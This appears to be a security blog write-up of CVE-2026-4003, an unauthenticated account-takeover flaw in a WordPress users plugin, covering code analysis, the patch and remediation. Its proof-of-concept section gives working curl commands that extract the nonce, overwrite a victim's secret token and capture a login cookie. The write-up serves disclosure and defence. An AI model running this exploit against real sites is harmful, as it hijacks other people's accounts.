CVE-2026-4003: CVSS 9.8 Privilege Escalation in Users Manager PN

CVE-2026-4003: CVSS 9.8 Privilege Escalation in Users Manager PN

CVE-2026-4003 is a CVSS 9.8 Critical unauthenticated privilege escalation vulnerability in the Users Manager – PN WordPress plugin. It allows any unauthenticated attacker to overwrite arbitrary user metadata and, when the auto-login feature is enabled, fully take over any non-administrator account — no credentials required.

Vulnerability Summary

FieldValue
Plugin NameUsers Manager – PN
Plugin Sluguserspn
CVE IDCVE-2026-4003
CVSS Score9.8 (Critical)
Vulnerability TypeUnauthenticated Privilege Escalation via Arbitrary User Meta Update → Account Takeover
Affected Versions<= 1.1.15
Patched Version1.1.25
PublishedApril 7, 2026
ResearcherBaroHaf - fpt
Wordfence AdvisoryLink

Description

The Users Manager – PN plugin for WordPress is vulnerable to Privilege Escalation via Arbitrary User Meta Update in all versions up to and including 1.1.15. This is due to a flawed authorization logic check in the userspn_ajax_nopriv_server() function within the userspn_form_save case. The conditional only blocks unauthenticated users when user_id is empty, but when a non-empty user_id is supplied, execution bypasses this check entirely and proceeds to update arbitrary user meta via update_user_meta() without any authentication or authorization verification. Additionally, the nonce required for this AJAX endpoint (userspn-nonce) is exposed to all visitors via wp_localize_script on the public wp_enqueue_scripts hook, rendering the nonce check ineffective as a security control. This makes it possible for unauthenticated attackers to update arbitrary user metadata for any user account, including the userspn_secret_token field.


Technical Analysis

The attack chain flows through three distinct components.

1. Nonce Exposure — includes/class-userspn-common.php (lines 203–207)

userspn_enqueue_scripts() is registered on the public wp_enqueue_scripts hook (class-userspn.php line 276), meaning it fires on every front-end page load for every visitor, authenticated or not.

Inside that function:

// class-userspn-common.php, line 203
$nonce = wp_create_nonce('userspn-nonce');
wp_localize_script($this->plugin_name, 'userspn_ajax', [
    'ajax_url' => admin_url('admin-ajax.php'),
    'userspn_ajax_nonce' => $nonce,
]);

This injects the following into every page’s <script> block:

var userspn_ajax = {
    "ajax_url": "https://target.example.com/wp-admin/admin-ajax.php",
    "userspn_ajax_nonce": "ab12cd34ef"   // <-- valid nonce, visible to anyone
};

WordPress nonces are meant to protect against CSRF by being unpredictable to unauthenticated users. Exposing the nonce in public page source completely defeats this protection for the userspn-nonce action.


2. AJAX Handler Registration — includes/class-userspn.php (lines 445–446)

$this->loader->userspn_add_action('wp_ajax_userspn_ajax_nopriv', $plugin_ajax_nopriv, 'userspn_ajax_nopriv_server');
$this->loader->userspn_add_action('wp_ajax_nopriv_userspn_ajax_nopriv', $plugin_ajax_nopriv, 'userspn_ajax_nopriv_server');

Both wp_ajax_ and wp_ajax_nopriv_ hooks are registered, meaning the AJAX action userspn_ajax_nopriv is reachable by both authenticated and unauthenticated users at POST /wp-admin/admin-ajax.php?action=userspn_ajax_nopriv.


3. The Vulnerable Handler — includes/class-userspn-ajax-nopriv.php

Step A — Nonce check (lines 21–37): The handler checks for the presence and validity of userspn_ajax_nopriv_nonce against the userspn-nonce action. This check passes trivially because the nonce is already public (see §1 above).

if (!wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['userspn_ajax_nopriv_nonce'])), 'userspn-nonce')) {
    // exit with error
}

Step B — User ID extraction (line 186): The $user_id is read directly from attacker-controlled POST data with no validation:

$user_id = !empty($_POST['userspn_form_user_id']) ? USERSPN_Forms::userspn_sanitizer(wp_unslash($_POST['userspn_form_user_id'])) : 0;

Step C — The flawed authorization gate (line 190): The authorization check only triggers when $user_id is empty:

if (($userspn_form_type == 'user' && empty($user_id) && !in_array($userspn_form_subtype, ['user_alt_new'])) || ...) {
    // store in session and echo 'userspn_form_save_error_unlogged'; exit;
} else {
    // falls through to update_user_meta() — NO auth check here
}

The flaw: The condition blocks unauthenticated requests only when $user_id is empty (0). If the attacker supplies any non-zero user_id, empty($user_id) is false, the entire if evaluates to false, and execution drops directly into the else block.

Step D — Unrestricted update_user_meta() (lines 217–239): Once inside the else block, the code iterates over all attacker-supplied userspn_ajax_keys and writes each key-value pair to the target user’s meta with zero authentication:

if (!empty($user_id)) {
    foreach ($userspn_key_value as $userspn_key => $userspn_value) {
        // ...key prefixing logic...
        update_user_meta($user_id, $userspn_key, $userspn_value);

        // Also writes the non-prefixed original key
        if (!empty($original_key) && strpos((string)$original_key, 'userspn_') !== 0) {
            update_user_meta($user_id, $original_key, $userspn_value);
        }
    }
}

Note the dual-write: if the attacker sends a key secret_token, the handler writes both userspn_secret_token and secret_token to the target user’s meta.


If the site has the auto-login feature enabled (userspn_auto_login option set to on), the plugin implements a token-based magic link login:

public function userspn_auto_login() {
    if (!isset($_GET['userspn_auto_login']) || get_option('userspn_auto_login') !== 'on') {
        return;
    }

    $user_id          = !empty($_GET['userspn_user_id']) ? intval($_GET['userspn_user_id']) : 0;
    $secret_token     = get_user_meta($user_id, 'userspn_secret_token', true);   // reads from DB
    $userspn_secret_token = !empty($_GET['userspn_secret_token']) ? sanitize_text_field(...) : '';

    // Blocks only admins — any non-admin user is eligible
    if (empty($secret_token) || $secret_token !== $userspn_secret_token || user_can($user_id, 'administrator')) {
        return;
    }

    wp_set_current_user($user_id, $login_username);
    wp_set_auth_cookie($user_id);   // <-- Full authentication cookie set
    wp_redirect(...);
    exit;
}

Since the attacker controlled userspn_secret_token in Step C, they simply supply the value they wrote during the AJAX call and are granted a full authenticated session as the target user.


Root Cause

The authorization gate at class-userspn-ajax-nopriv.php:190 contains an inverted logic flaw. It was designed to block unauthenticated users from updating their own profile when they lack a user_id, but the condition is:

block IF (type == 'user') AND (user_id IS EMPTY) AND (subtype not in [...])

This means the block only applies when user_id is absent. An attacker who explicitly supplies any valid user_id completely bypasses the check.

The correct logic should have been:

block IF (type == 'user') AND (user is NOT authenticated OR user_id does NOT match current user)

Why Existing Controls Failed

ControlWhy it failed
Nonce check (wp_verify_nonce)The nonce userspn-nonce is generated and embedded in the page source on every public front-end page via wp_localize_script. Any unauthenticated visitor can extract a valid nonce from the HTML source without making any special requests.
Session / unlogged guardThe session-store branch ($_SESSION['userspn_form']) only fires when $user_id is empty. Supplying a user_id skips it entirely.
Nonce action specificityA single nonce action (userspn-nonce) is shared across multiple AJAX operations, broadening the exposure surface.

Attack Impact

An unauthenticated attacker can:

  1. Overwrite any user meta on any non-admin account — including security-sensitive fields.
  2. Achieve full account takeover of any non-admin WordPress user (subscriber, contributor, author, editor) when the auto-login feature is enabled, by overwriting userspn_secret_token and using the magic-link login endpoint.
  3. Escalate privileges if the targeted account holds elevated roles (editor, shop manager, etc.).
  4. Modify profile data (name, email meta, custom fields) for any user silently.

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.

Prerequisites


Step 1: Extract the Nonce from Any Public Page

Load the WordPress homepage (or any page that enqueues the plugin’s scripts) and extract the nonce from the inline JavaScript:

TARGET="https://target.example.com"

# Fetch the page and extract the nonce
NONCE=$(curl -s "$TARGET/" | grep -oP '"userspn_ajax_nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"

What to look for in page source:

<script type='text/javascript' id='userspn-js-extra'>
var userspn_ajax = {
    "ajax_url": "https://target.example.com/wp-admin/admin-ajax.php",
    "userspn_ajax_nonce": "ab12cd34ef"
};
</script>

Step 2: Identify the Target User ID

Find the user ID of the target account. This can be done via the WordPress REST API (if user enumeration is not disabled) or by inspecting public profile pages:

# List users via REST API (works on default WP installations)
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool | grep '"id"'

Example output:

{ "id": 2, "name": "Jane Doe", "slug": "janedoe" }

Target user ID for this PoC: 2


Step 3: Overwrite the Target User’s userspn_secret_token

Send an unauthenticated POST to the AJAX endpoint with the extracted nonce, targeting user ID 2. The payload sets userspn_secret_token (via the key secret_token) to an attacker-controlled value:

TARGET="https://target.example.com"
NONCE="ab12cd34ef"          # Replace with value from Step 1
TARGET_USER_ID=2             # Replace with target user's ID
ATTACKER_TOKEN="pwned12345"  # Attacker-chosen token value

curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode "action=userspn_ajax_nopriv" \
  --data-urlencode "userspn_ajax_nopriv_type=userspn_form_save" \
  --data-urlencode "userspn_ajax_nopriv_nonce=$NONCE" \
  --data-urlencode "userspn_form_type=user" \
  --data-urlencode "userspn_form_user_id=$TARGET_USER_ID" \
  --data-urlencode "userspn_ajax_keys[0][id]=secret_token" \
  --data-urlencode "userspn_ajax_keys[0][node]=INPUT" \
  --data-urlencode "userspn_ajax_keys[0][type]=text" \
  --data-urlencode "userspn_ajax_keys[0][multiple]=false" \
  --data-urlencode "secret_token=$ATTACKER_TOKEN"

Expected response (success — meta written):

{"action":"userspn_form_save","user_id":"2","form_type":"user"}

or an empty/null response body with HTTP 200, indicating the request was processed.

What happened: WordPress has now executed update_user_meta(2, 'userspn_secret_token', 'pwned12345') and also update_user_meta(2, 'secret_token', 'pwned12345') — with no authentication.


With the secret token overwritten, visit the auto-login URL as the attacker (unauthenticated browser session):

curl -v -L "$TARGET/?userspn_auto_login=1&userspn_user_id=$TARGET_USER_ID&userspn_secret_token=$ATTACKER_TOKEN&userspn_login_username=janedoe"

Or visit the following URL directly in a browser (private/incognito window):

https://target.example.com/?userspn_auto_login=1&userspn_user_id=2&userspn_secret_token=pwned12345&userspn_login_username=janedoe

What happens: The userspn_auto_login() function:

  1. Reads userspn_secret_token for user 2 from the database → pwned12345
  2. Compares with the GET parameter userspn_secret_tokenpwned12345
  3. Confirms user 2 is not an administrator ✓
  4. Calls wp_set_current_user(2, 'janedoe') and wp_set_auth_cookie(2)
  5. Redirects to the homepage

The attacker is now authenticated as user ID 2 (Jane Doe).


Expected Result

After completing Step 4, the attacker holds a valid WordPress authentication cookie for the target user account. They can:

Verification

To confirm account takeover succeeded:

# Save the cookie from the auto-login redirect
curl -c /tmp/stolen_cookies.txt -L \
  "$TARGET/?userspn_auto_login=1&userspn_user_id=2&userspn_secret_token=pwned12345&userspn_login_username=janedoe"

# Verify authentication by accessing /wp-admin/profile.php
curl -b /tmp/stolen_cookies.txt -s "$TARGET/wp-admin/profile.php" | grep -o 'user-info.*</h2>' | head -1

A successful response will show the target user’s profile page content rather than the login form.


Patch Analysis

What Changed

The patch (version 1.1.25) modifies includes/class-userspn-ajax-nopriv.php only. The nonce exposure in class-userspn-common.php was not changed — the nonce is still publicly exposed, but the AJAX handler now enforces proper authorization before acting on any supplied user_id.

Fix Explanation

A proper authorization guard was inserted at class-userspn-ajax-nopriv.php immediately after the if (!empty($user_id)) check, before any call to update_user_meta():

// Added in 1.1.25 — runs before update_user_meta()
if (!is_user_logged_in() || (intval($user_id) !== get_current_user_id() && !USERSPN_Functions_User::userspn_user_is_admin(get_current_user_id()))) {
    echo wp_json_encode([
        'error_key'     => 'userspn_form_save_error_unauthorized',
        'error_content' => esc_html(__('You are not authorized to perform this action.', 'userspn')),
    ]);
    exit;
}

This check enforces two conditions before proceeding:

  1. The request must come from a logged-in user (is_user_logged_in()).
  2. The logged-in user must either be the account owner ($user_id === get_current_user_id()) or an administrator.

An equivalent fix was applied to the post form type as well.

Is the Fix Complete?

The fix addresses the root cause (missing authorization before update_user_meta()). However, the nonce exposure remains — any visitor can still extract userspn_ajax_nonce from page source. This means the nonce provides no real CSRF protection. A more thorough hardening would:

  1. Only expose the nonce to authenticated users (conditional wp_localize_script).
  2. Or generate a per-user nonce with a user-specific action (e.g. 'userspn-nonce-' . get_current_user_id()).

For the specific reported vulnerability (unauthenticated privilege escalation), the patch is effective.

Code Diff (Key Change)

--- a/includes/class-userspn-ajax-nopriv.php (1.1.15)
+++ b/includes/class-userspn-ajax-nopriv.php (1.1.25)
@@ -215,6 +215,15 @@ class USERSPN_Ajax_Nopriv {
                     }
 
                     if (!empty($user_id)) {
+                      // Authorization: only the account owner or an admin may update user meta
+                      if (!is_user_logged_in() || (intval($user_id) !== get_current_user_id() && !USERSPN_Functions_User::userspn_user_is_admin(get_current_user_id()))) {
+                        echo wp_json_encode([
+                          'error_key' => 'userspn_form_save_error_unauthorized',
+                          'error_content' => esc_html(__('You are not authorized to perform this action.', 'userspn')),
+                        ]);
+                        exit;
+                      }
+
                       foreach ($userspn_key_value as $userspn_key => $userspn_value) {

Timeline

DateEvent
UnknownVulnerability discovered and reported by BaroHaf - fpt
April 7, 2026Publicly disclosed by Wordfence
April 7, 2026Patched version 1.1.25 released

Remediation

Update the userspn plugin to version 1.1.25 or later immediately.

If an immediate update is not possible, consider these temporary mitigations:


References

  1. Wordfence Advisory
  2. CVE-2026-4003 at NVD
  3. Vulnerable AJAX handler — trunk (L233)
  4. Vulnerable AJAX handler — tag 1.0.31 (L233)
  5. Vulnerable AJAX handler — trunk (L186)
  6. Vulnerable AJAX handler — trunk (L190)
  7. Nonce exposure — class-userspn-common.php (L168)
  8. Magic link auto-login — class-userspn-functions-user.php (L235)
  9. Patch changeset on Trac
  10. Plugin page on WordPress.org

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee